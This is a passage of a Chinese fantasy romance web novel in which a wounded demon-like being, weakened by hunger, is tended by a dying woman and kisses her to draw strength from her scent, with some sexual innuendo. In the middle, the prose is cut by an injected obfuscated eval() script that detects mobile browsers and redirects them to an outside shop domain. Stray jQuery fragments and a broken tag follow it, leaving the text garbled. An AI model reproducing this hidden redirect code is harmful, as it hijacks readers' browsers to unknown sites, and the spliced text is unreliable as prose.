从考核通过到现在为止,闻澳近十个小时没有进食了。
原以为按计划,他能立马找到她和她结契。现如今她下落不明,他使用不了能力,以现在的形态面世,一定会引起人类恐慌。
耳边吱呀一声,他侧目望去,眼周浮了层油膜般,看得极不真切。
是个高个苗条的女人,长发松散地垂在肩头,一两步也走得摇摇晃晃,风一吹就能倒的濒死之人似的,瞧着弱不禁风。
眼前这个瘦弱女人的闯入激出闻澳趋利避害的无意识反应,两道翅膀如受惊的守卫,唰的收紧,护住他心口。
闻澳捂住胸口,待呼吸平息后,断定她是个没有危害的普通人类,黑亮的指尖点点羽毛,两张网似的黑羽退到两侧。
“你、你还好吗?”柯莉被他吓了一大跳,直至他收起翅膀,才试着往前挪了一小步。
防护的翅膀展开,柯莉这才细细看清他的容貌。
他头上长了一对不容忽视的犄角,表面有细长的纹路,不知名符文缠绕其中作为打底,在她房间的暖灯下映着玻璃的钝光。
短发因雨水一绺绺顺下来,湿润地粘合成厚厚的顺毛。棱角凌厉的侧脸下部,他下颌咬肌随呼吸鼓动,流畅紧致的线条一路连延到几近赤裸的上身。
不光脸蛋长得出脱,连身材都挪不开眼。
美色当前,柯莉此时也没敢忘记她是个命在旦夕的人。
她赤脚慢步走到他身边,跪坐到离他只有三十厘米距离的地上。
“你受伤了。”她眼神不加掩饰地在他身上来回扫视,除了拖拽的血迹,他很干净。
柯莉的双腿淌着薄薄的积水,她眼尖地看到地板的碎渣,仰头注意到自己的两面小窗全然碎掉,唯独预留四角边框,像是经历了什么剧烈的斗争。
然而她来不及去找眼前这个来路不明的男人的责任,她得赶快让他同意和她成为搭档。
如果他今夜没有登堂入室,突兀地出现在她眼前,她或许能安心接受死亡。
人类弱小但贪婪,行至绝路时,但凡看到丁点希望,都会让他们死灰复燃般去抓紧这一线生机。
男人半闭着眸子,眉头紧锁,像是痛苦到了极点。
柯莉咽着口水,胆怯地将手伸出去,抖瑟着摸到他的脸,冰凉刺骨的冷意从她掌心渡给她。
得先把他救下。
柯莉当机立断,撑着疲乏的身体找了块毛巾,又端来一盆热水,细致地给他擦拭上身的血痕。
他的手臂几乎是柯莉的两臂大,绷紧的肌肉并不似她的手臂那样柔嫩光滑,反而是因肌肉堆起一些纵起的沟壑。
柯莉抬他手臂时都有些吃力。
她把他的衣服翻卷到锁骨处,一边擦拭一边暗示自己,她现在是个救死扶伤的医生,面前不过是块肉而已。
湿厚的毛巾轻柔地蹭下,柯莉小心翼翼地提着尾部,避免沾湿他的裤腰,擦第二个回合时,手腕骤地被扣住。
柯莉打了个冷颤,怯懦地低下眼。
身下的男人“苏醒”过来般,浓眉下的眼睛倏地睁开,周身升起腾腾热气,两只眼睛变异般,眼白布满充血的红,没有瞳孔,或者说,连瞳孔也是红色。好似一道摄人心魂的艳丽漩涡,一个对望,吓得柯莉头皮兹拉地往上蹿。
他呲牙露出两颗尖牙,轻微地阖动,呢喃道:“香。”
都怪该死的润吉,叫她找神搭档,也没有告诉她神长什么样,什么脾性,她一直以为,神都是两袖清风的清明模样。
今天见了,才了解到,真正的神和刻板印象里的神大相庭径。
柯莉腹诽,要不是她快死了,强撑着胆量,她早就被吓晕送往医院。
闻澳久违地闻到那股熟悉的香气,经脉顷刻被挑起,过电般流通运转,手心攒得更紧,贪恋地摩挲着她肌肤的质感。
老天一如既往地眷顾他。
没过几秒,闻澳就感知到手中的手在发抖,他双目因能力失灵和饥饿失焦,看不清她的模样和表情。
她在怕他?
闻澳没舍得松开,她传来的香气虽浅淡甚至近于无,但塞牙缝的凉水也能管一时的饿。
他本想化个符合人类审美的男人形象来找她,又或是提前潜伏弄清她对男人的喜好特点,再量身定制。
这么狼狈地以原形展示,她要是恶心他,恐惧他,定不会心甘情愿地和他结契了。
怎么办好呢?
闻澳嗅着她的香味,运气率先恢复一点能力。
他闭上眼把被欲望激出的红眼压制下去,复原成一双真挚懵懂的初生野生动物的眼睛。
他握得太死,柯莉没有多余的气力抽手,见他双目恢复正常,畏惧也随之淡化。
柯莉想起部分影视里,非人的角色在受到外界刺激时就会产生类似的反应,说不定是她方才吓到他了。
他的眼睛看起来单纯无害,外边又是难遇的暴雨天气,又可能是年纪很小的神,还没有神力,无力对抗恶劣天气,才受伤落到她的房子里来的。
被他当作是要加害于他的坏人就糟了,他极有可能因为防备她而拒绝和她成为搭档。
怎么办好呢?
柯莉自行圆了套套合理说辞,轻声安慰他道:“我刚刚是在给你处理伤口,你留了很多血,不上药会感染。”
“我不会伤害你,我先扶你起来把身子弄干好吗?”柯莉引导着他,尽量隐藏起她一点就燃的爆脾气。
耐心。
为了她的小命,忍一时福寿绵延。
闻澳摇着头,张唇说:“扶我。”
他声音混着沙沙的质感,柯莉凑着耳朵到他嘴边才听清。
“扶你?”柯莉摁住他肩膀抬他,“好好。”
他的体格异于寻常成年男子,柯莉费力地挪到他肩侧,抬到一半用背才把他抵起来。
柯莉穿了套春秋的丝质睡衣,她的背贴上去的一刹,入梦时试炼的触感触发闻澳记忆身处的留恋,他猛地一僵,瞳孔兴奋地放大。
两片蝴蝶骨被他掌在手中时,她会动情地抬腰。闻澳触电般,燥热的血气冲遍他全身,停滞的能力剧在手心,有两团热气在蓄势。
柯莉觉察到他身体的变化,后退到他身前,“你好些了吗?”
“你刚刚的体温好高。”
窗户被撞破,柯莉却没有感觉到一丁半点从外吹入的刺骨寒风,像是有隐形的防护墙挡在了窗口,阻止了空气的流通。
她反常地感受到在烘烤房里那般暖烘烘的温差,从外往内扩散到她心肺。
闻澳的喉结重滚,低沉地声线音符似绕入耳蜗,“再靠近点。”
柯莉茫然地“啊”了声。
闻澳催促道:“快。”
“怎、怎么靠近?”柯莉前倾着上身问,“这样吗?”
“有伴侣吗?”闻澳直白地问。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176541|150607||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>能力在一点点回转,但没有真枪实战的触碰,气堵塞在他的各个穴位,即便有再多的香气,他也无法恢复。
伴侣?
柯莉颇有种听到了不属于这个世界的词汇的怪异感,他是在问她有没有男朋友或者老公吗?
“没?”柯莉没底气地回。
“不固定?”闻澳听着她似是而非的回答,“阶段性的?现在没有?”
他连发三问,柯莉晕头转向。
柯莉把他的问题带入到答案里——不固定的阶段性的伴侣?
“……”
合着神是误以为她有炮友啊。
“没、没有。怎么可能会有。”柯莉羞赧到脸一秒上色,“永远都不可能有。”
“要有的。”闻澳凝思着,自说自话似答。
下一秒,他摁住柯莉后颈,豺狼似覆上去,稳准找到她唇,和她接了个扎实的吻。
柯莉的呼吸凝滞,尸体般冷僵固住,连抬手抗拒的力气都没有了。
地面的水滩蒸发似往上升腾,环绕两人炸开水泡。
闻澳的身体被烘干,他不紧不慢地磨她唇面,有如鱼游扫尾,轻轻碾过又心痒难耐。
柯莉的脸泛起阵阵酡红,轻飘飘地像是又入了场梦。
柯莉半眯起眼,梦里的男人,和他好像,也有一对犄角,但每次都不让她摸。
“嗯……”柯莉迷迷糊糊地想着,主动张开了一点唇缝。
她口腔里甜蜜的香气漫出,闻澳仰着脖子舒爽地喟叹了声,张口吸吮她上唇,含糊说:“再张大一点。”
柯莉大概是鬼迷心窍,听到他的话竟自发地又张大了唇,不等她思索张合的程度,他老练的舌尖就探了进来,引诱似的勾出她的舌头。
她试探性地轻舔,他反而往后退了出去,攫住她唇珠轻吸,“好甜。”
柯莉软绵的像块云团,被抛高的失重感爽得她脚趾蜷缩,她虚软地任由他掌着,明明是被他贸然冲撞,她却没有一丝讨厌或逃离的心理。
相反,她无端回味着那个夜晚,她在枯燥的夜里体验了多次超乎手动的享受,而现在这个吻,没有激烈的进犯,而是游刃有余地在挑动她的神经。
她全然把埋在记忆深处不愉快的种种过往抛之脑后,取而代之冽冬里蹲坐在火炉旁烤火烤到昏昏欲睡,双腿酥软到发麻的松快感。
口腔里分泌得潮湿,柯莉体会着他扫荡着唇内的痒麻,像个勤劳的清理家,不知疲惫地舔走她每一滴唇液。
闻澳慢条斯理地品尝这份纯净的美味,筋脉四通八达地在逐个突破,强悍的能量冲击着他大脑,促使着他再进一步。
并不是每个结契的伴侣都能泌出香甜的食物。
魅魔们拥有上等的美貌,又经受过严厉的技术考核,要在伴侣那吃到食物很简单。但欲望本就是最低等的娱乐,像动物般苟/合只会煮出一碗清汤寡水,草草完事后会让对方有再也不会有再吃一餐的念头。
多数魅魔为了享用一顿美餐,往往会有耐力地当个体贴的爱人。
他们还没有结契,闻澳的这个吻本就是操之过急,为了解他燃眉之急的权宜之计。
闻澳意犹未尽地退开,翅膀畅快淋漓地煽动了两下,和犄角一并收回他体内。
他的指尖褪成人类的正常模样。
唯独剩下黑色粗大的尾巴高扬扫摆,三角形的尾尖绕到两人中间,乖巧地躺到柯莉手心。